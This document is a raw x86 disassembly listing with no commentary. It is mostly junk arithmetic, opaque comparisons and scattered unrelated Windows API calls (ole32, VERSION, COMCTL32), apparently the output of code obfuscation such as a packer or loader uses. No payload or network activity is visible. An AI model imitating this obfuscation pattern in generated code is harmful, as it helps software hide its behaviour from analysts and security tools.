cmp dword [ebp - 0x988], 0x5136c06f
je 0x403ab5
jmp 0x403b12
lea edx, [ebp - 0x370]
push edx
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [ebp - 0x378], eax
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0xd4]
mov byte [edx], cl
jmp 0x403b12
lea eax, [ebp - 4]
push eax
push 0x3b
lea ecx, [ebp - 0xeec]
push ecx
call dword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [ebp - 0x36c], eax
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
and eax, dword [ebp - 0xec]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x7d0], 0x4d76
jmp 0x403bb3
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x38]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x2c]
add eax, ecx
movsx edx, word [ebp - 0x14]
movsx ecx, word [ebp - 0xc]
imul edx, ecx
cmp eax, edx
je 0x403ba0
mov dl, byte [ebp - 4]
mov byte [ebp - 0x98c], dl
cmp byte [ebp - 0x98c], 0x25
je 0x403b68
cmp byte [ebp - 0x98c], 0x57
je 0x403b81
jmp 0x403b9e
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xb58]
push ecx
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0x3d8], eax
jmp 0x403b9e
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xc]
sub eax, ecx
mov edx, dword [ebp - 0x70]
mov word [edx], ax
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x24]
mov dword [section..data], eax
jmp 0x403bb3
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x38c]
push edx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xa4], cx
mov dword [ebp - 0x7c8], 0x3861
lea ecx, [ebp - 6]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x7e4], 0x3fc8
cmp dword [ebp - 0x7c0], 0x286e
ja 0x403f09
mov edx, dword [ebp - 0xec]
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
or edx, dword [ebp - 0x84]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x9c]
shl eax, cl
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x98]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
xor ecx, dword [ebp - 0x34]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0xd8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 6]
and eax, ecx
mov edx, dword [ebp - 0xd8]
mov byte [edx], al
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x48]
mov word [edx], cx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x98]
add eax, dword [edx]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x34]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
and ecx, dword [section..data]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
movzx eax, byte [ebp - 3]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 2], al
movzx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x48]
mov word [ecx], ax
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x80]
mov byte [ecx], al
movsx edx, word [ebp - 0xc]
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x14], dx
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xac]
sar edx, cl
mov dword [section..data], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
movzx edx, word [ebp - 0x8c]
movzx ecx, word [ebp - 0xa4]
shl edx, cl
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x98]
and ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7c0]
add ecx, 0x31
mov dword [ebp - 0x7c0], ecx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 5]
sub edx, eax
mov ecx, dword [ebp - 0xd0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xac]
sub edx, dword [ebp - 0x24]
mov dword [section..data], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ecx]
add edx, dword [ebp - 0x50]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x58]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 1], dl
movsx edx, word [ebp - 0x2c]
movsx ecx, word [ebp - 0xc]
sar edx, cl
mov eax, dword [ebp - 0x70]
mov word [eax], dx
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x40]
mov word [eax], dx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x54]
and edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x64]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c]
sub edx, eax
mov word [ebp - 0x18], dx
movzx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xd0]
mov byte [edx], cl
mov eax, dword [ebp - 0xc0]
add eax, dword [ebp - 0x64]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0xac]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x50]
add ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xac]
sar edx, cl
mov dword [section..data], edx
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x6c]
mov word [ecx], ax
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x84]
shl eax, cl
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
or eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
jmp 0x403be5
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x60]
mov byte [eax], dl
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x14]
and edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 5], dl
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xb4], dx
mov edx, dword [ebp - 0x94]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x94]
mov dword [edx], eax
mov eax, dword [ebp - 0xc0]
sub eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
sub ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xd0]
mov byte [edx], cl
movzx eax, word [ebp - 0xa4]
mov ecx, dword [ebp - 0x48]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x4c], ax
mov edx, dword [ebp - 0xc4]
xor edx, dword [ebp - 0x50]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x7c4]
add eax, 0x33
mov dword [ebp - 0x7c4], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x24]
or edx, dword [ecx]
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov edx, dword [section..data]
mov ecx, dword [ebp - 0x34]
shl edx, cl
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x94]
add edx, dword [eax]
mov dword [ebp - 0x64], edx
movzx ecx, word [ebp - 0x8c]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x40]
mov word [edx], cx
movzx eax, byte [ebp - 2]
movzx ecx, byte [ebp - 3]
and eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
cmp dword [ebp - 0x7c4], 0xf9d1
jbe 0x403f09
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x80]
mov byte [ecx], al
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0xc]
add edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0xc0]
add eax, dword [edx]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x38]
mov dword [edx], eax
movzx eax, word [ebp - 0x20]
movzx ecx, word [ebp - 0x8c]
sub eax, ecx
mov word [ebp - 0x18], ax
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 5], dl
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x9c]
add ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x1c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x40]
movzx edx, word [eax]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 6]
xor edx, eax
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x50]
and eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x84]
and ecx, dword [ebp - 0x34]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
sub eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x2c]
sub eax, ecx
mov word [ebp - 0x14], ax
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x80]
mov byte [eax], dl
movzx ecx, byte [ebp - 6]
mov edx, dword [ebp - 0x90]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
movzx ecx, word [ebp - 0x4c]
movzx edx, word [ebp - 0xa4]
sub ecx, edx
mov eax, dword [ebp - 0x6c]
mov word [eax], cx
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x74]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7c8]
add edx, 0x2d
mov dword [ebp - 0x7c8], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc0]
or ecx, dword [eax]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd8]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 6]
shl edx, cl
mov eax, dword [ebp - 0x90]
mov byte [eax], dl
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [ebp - 0xec]
sub edx, dword [ebp - 0xc4]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xac]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x9c]
add eax, dword [edx]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x20]
sub edx, eax
mov ecx, dword [ebp - 0x48]
mov word [ecx], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 3]
and edx, eax
mov byte [ebp - 6], dl
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x94]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x2c]
add ecx, edx
mov eax, dword [ebp - 0x70]
mov word [eax], cx
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x60]
mov byte [edx], cl
movzx eax, byte [ebp - 4]
mov ecx, dword [ebp - 0xd8]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x18], ax
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
xor eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xac]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x24], ecx
movzx edx, word [ebp - 0x8c]
movzx eax, word [ebp - 0x20]
sub edx, eax
mov word [ebp - 0x4c], dx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 5]
add edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
cmp dword [ebp - 0x7c8], 0x3e01
jb 0x404051
movsx edx, word [ebp - 0xc]
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x14]
movsx ecx, word [ebp - 0x2c]
and eax, ecx
cmp edx, eax
jne 0x404394
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
add eax, dword [ebp - 0x50]
mov dword [ebp - 0xc4], eax
movsx ecx, word [ebp - 0x2c]
mov dword [ebp - 0x990], ecx
cmp dword [ebp - 0x990], 0x2a6
je 0x4043ca
cmp dword [ebp - 0x990], 0x54f2
je 0x4043bb
jmp 0x404443
movzx edx, word [ebp - 0xc]
push edx
call fcn.00416160
add esp, 4
jmp 0x404443
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x58]
add ecx, dword [edx]
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
mov dword [ebp - 0xc3c], edx
cmp dword [ebp - 0xc3c], 0x9336899c
je 0x4043f5
jmp 0x404436
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x54]
shl edx, cl
mov dword [ebp - 0x84], edx
push pe_nt_image_headers32
mov eax, dword [ebp - 0x6bc]
push eax
mov ecx, dword [ebp - 0x798]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx edx, word [ebp - 0xa4]
movzx ecx, word [ebp - 0x8c]
sar edx, cl
mov eax, dword [ebp - 0x48]
mov word [eax], dx
jmp 0x404443
mov ecx, dword [ebp - 0x60]
movzx edx, byte [ecx]
push edx
call fcn.00415bb0
nop
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xd0]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 2], cl
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xc]
or edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x5c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
movzx ecx, word [ebp - 0xb4]
movzx edx, word [ebp - 0x18]
sub ecx, edx
mov word [ebp - 0x4c], cx
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xd0]
mov byte [edx], cl
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x64]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x7cc]
add edx, 0xd1
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x28]
add ecx, dword [edx]
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xcc]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x9c]
sar edx, cl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xa0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x84]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov eax, dword [ebp - 0x70]
mov word [eax], cx
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 1]
add edx, eax
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 6]
add eax, ecx
mov edx, dword [ebp - 0xd4]
mov byte [edx], al
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x54]
add ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
add eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 6], cl
movzx ecx, word [ebp - 0x4c]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x40]
mov word [edx], cx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xec]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x84]
sar eax, cl
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x84]
shl edx, cl
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
add edx, dword [ebp - 0x50]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x34]
mov dword [section..data], eax
movzx ecx, byte [ebp - 4]
movzx edx, byte [ebp - 2]
and ecx, edx
mov byte [ebp - 3], cl
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
add eax, dword [section..data]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x2c]
sub edx, eax
mov word [ebp - 0x14], dx
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x80]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 2]
sub ecx, edx
mov eax, dword [ebp - 0x7c]
mov byte [eax], cl
cmp dword [ebp - 0x7cc], 0x13998
jb 0x404443
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x58]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
or eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x84]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
movzx edx, word [ebp - 0x20]
movzx ecx, word [ebp - 0x4c]
shl edx, cl
mov word [ebp - 0x8c], dx
movzx eax, byte [ebp - 4]
movzx ecx, byte [ebp - 2]
and eax, ecx
mov edx, dword [ebp - 0xd8]
mov byte [edx], al
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xec]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xc4]
add eax, dword [edx]
mov dword [ebp - 0x98], eax
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xcc]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x14]
add edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
